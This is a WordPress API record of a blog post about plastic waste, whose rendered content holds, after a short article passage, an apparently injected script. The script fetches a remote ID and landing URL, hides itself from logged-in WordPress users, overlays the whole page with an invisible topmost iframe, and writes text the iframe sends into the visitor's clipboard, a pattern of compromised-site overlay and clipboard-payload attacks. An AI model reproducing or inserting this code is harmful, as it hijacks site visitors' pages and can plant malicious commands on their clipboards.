{"id":744,"date":"2020-03-30T21:40:59","date_gmt":"2020-03-30T19:40:59","guid":{"rendered":"http:\/\/actforyourplanet.com\/?p=744"},"modified":"2026-05-22T23:19:37","modified_gmt":"2026-05-22T21:19:37","slug":"tackling-plastic-waste","status":"publish","type":"post","link":"https:\/\/actforyourplanet.com\/index.php\/2020\/03\/30\/tackling-plastic-waste\/","title":{"rendered":"Tackling plastic waste"},"content":{"rendered":"<h3>We believe that leaders across all industries \u00a0have a unique ability to turn the tide on plastic waste.<\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-745 alignleft\" src=\"http:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/04\/Capture-d\u2019\u00e9cran-2020-04-26-\u00e0-15.39.58-300x281.png\" alt=\"\" width=\"300\" height=\"281\" srcset=\"https:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/04\/Capture-d\u2019\u00e9cran-2020-04-26-\u00e0-15.39.58-300x281.png 300w, https:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/04\/Capture-d\u2019\u00e9cran-2020-04-26-\u00e0-15.39.58-768x719.png 768w, https:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/04\/Capture-d\u2019\u00e9cran-2020-04-26-\u00e0-15.39.58-750x703.png 750w, https:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/04\/Capture-d\u2019\u00e9cran-2020-04-26-\u00e0-15.39.58.png 916w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>Scientific discovery, industrial R&amp;D, ingenuity, entrepreneurship, and marketing were responsible for creating plastic, convincing consumers to adopt it, and conditioning those same consumers to throw it away. Now is the time to turn the tide. Leaders who generate innovative ideas and take bold action at every stage of the plastic value chain can use their collective intellect, influence, and business impact not only to capture millions of dollars of value but also solve a problem that urgently needs addressing.<\/p>\n<p>&nbsp;<\/p>\n<p>The problem is that more than 76% of all \u00a0plastic has ended up as waste, and nearly 50% of \u00a0the plastic waste we now produce each year is used just once, often only for a few minutes. In the time it takes you to read this article, about 5 million single-use plastic bottles will be discarded. The single-use packaging that we throw away each year represents\u00a0<a href=\"https:\/\/www.ellenmacarthurfoundation.org\/assets\/downloads\/The-New-Plastics-Economy-Rethinking-the-Future-of-Plastics.pdf\">$<\/a><a href=\"https:\/\/www.ellenmacarthurfoundation.org\/assets\/downloads\/The-New-Plastics-Economy-Rethinking-the-Future-of-Plastics.pdf\">100 billion of economic value<\/a>. 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text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>We believe that leaders across all industries \u00a0have a unique ability to turn the tide on plastic waste. Scientific discovery, industrial R&amp;D, ingenuity, entrepreneurship, and marketing were responsible for creating plastic, convincing consumers to adopt it, and conditioning those same consumers to throw it away. Now is the time to turn the tide. Leaders who [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":745,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"sfsi_plus_gutenberg_text_before_share":"","sfsi_plus_gutenberg_show_text_before_share":"","sfsi_plus_gutenberg_icon_type":"","sfsi_plus_gutenberg_icon_alignemt":"","sfsi_plus_gutenburg_max_per_row":"","footnotes":""},"categories":[17],"tags":[],"class_list":["post-744","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-energy-en"],"_links":{"self":[{"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/posts\/744","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/comments?post=744"}],"version-history":[{"count":5,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/posts\/744\/revisions"}],"predecessor-version":[{"id":1552,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/posts\/744\/revisions\/1552"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/media\/745"}],"wp:attachment":[{"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/media?parent=744"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/categories?post=744"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/tags?post=744"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}